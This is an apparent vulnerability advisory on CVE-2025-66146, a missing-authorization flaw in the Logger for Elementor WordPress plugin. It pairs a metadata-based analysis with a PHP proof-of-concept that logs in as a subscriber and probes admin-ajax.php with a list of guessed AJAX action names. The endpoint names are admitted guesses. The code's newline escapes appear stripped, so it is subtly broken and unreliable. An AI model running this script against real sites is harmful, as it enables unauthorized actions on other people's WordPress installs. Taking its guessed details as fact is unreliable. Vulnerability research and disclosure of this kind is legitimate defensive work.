Atomic Edge analysis of CVE-2025-66146 (metadata-based):
The Logger for Elementor WordPress plugin version 1.0.9 and earlier contains a missing authorization vulnerability. This flaw allows authenticated attackers with subscriber-level permissions to perform unauthorized actions. The vulnerability stems from improper access control on a plugin function.
CWE-862 (Missing Authorization) indicates the plugin fails to verify user capabilities before executing privileged operations. Atomic Edge research infers the vulnerable component is likely an AJAX handler or admin menu callback function. The plugin does not check if the current user has appropriate permissions, such as manage_options or administrator-level capabilities, before processing requests. This inference is based on the CWE classification and the WordPress plugin architecture pattern where missing capability checks commonly occur in AJAX actions registered via wp_ajax hooks.
Exploitation requires an authenticated WordPress user account with subscriber-level access. Attackers would send a crafted HTTP request to the vulnerable endpoint, typically /wp-admin/admin-ajax.php with an action parameter containing the plugin’s AJAX hook. The exact action name cannot be confirmed without source code, but WordPress plugin conventions suggest it likely follows patterns like logger_elementor_action or similar. No nonce verification would be required, as the missing capability check is the primary vulnerability.
Remediation requires adding proper capability checks before executing sensitive functions. The plugin should implement current_user_can() checks with appropriate capability requirements, such as manage_options or a custom capability specific to the plugin’s functionality. WordPress security best practices also recommend nonce verification for state-changing operations, though the immediate fix focuses on authorization.
Successful exploitation enables unauthorized actions within the plugin’s functionality. While the CVSS vector indicates low impact on confidentiality and availability with no integrity impact, the description suggests attackers can perform actions beyond their intended permissions. The specific actions remain unknown without source code, but could include logging manipulation, settings modification, or data access depending on the vulnerable function’s purpose.
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// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-66146 - Logger for Elementor <= 1.0.9 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-66146
* Assumptions based on WordPress plugin patterns:
* 1. Vulnerable endpoint is /wp-admin/admin-ajax.php
* 2. Action parameter follows plugin naming conventions
* 3. No capability check present in handler
* 4. No nonce verification required
*/
$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Common AJAX action patterns for Logger for Elementor plugin
$possible_actions = [
'logger_elementor_action',
'logger_elementor_log_action',
'logger_elementor_clear_logs',
'logger_elementor_export',
'logger_elementor_settings',
'elementor_logger_action'
];
// Initialize cURL session for authentication
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
])
]);
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false && strpos($response, 'admin-ajax.php') === false) {
echo "Authentication failed. Check credentials.n";
exit;
}
echo "Authenticated as subscriber. Testing vulnerable actions...nn";
// Test each possible action
foreach ($possible_actions as $action) {
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => http_build_query(['action' => $action])
]);
$ajax_response = curl_exec($ch);
// Check for successful but unauthorized response
if ($ajax_response !== false && $ajax_response !== '') {
echo "Potential vulnerable action found: {$action}n";
echo "Response length: " . strlen($ajax_response) . " bytesn";
echo "First 200 chars: " . substr($ajax_response, 0, 200) . "nn";
}
}
curl_close($ch);
echo "PoC completed. Review responses for successful unauthorized actions.n";
?>
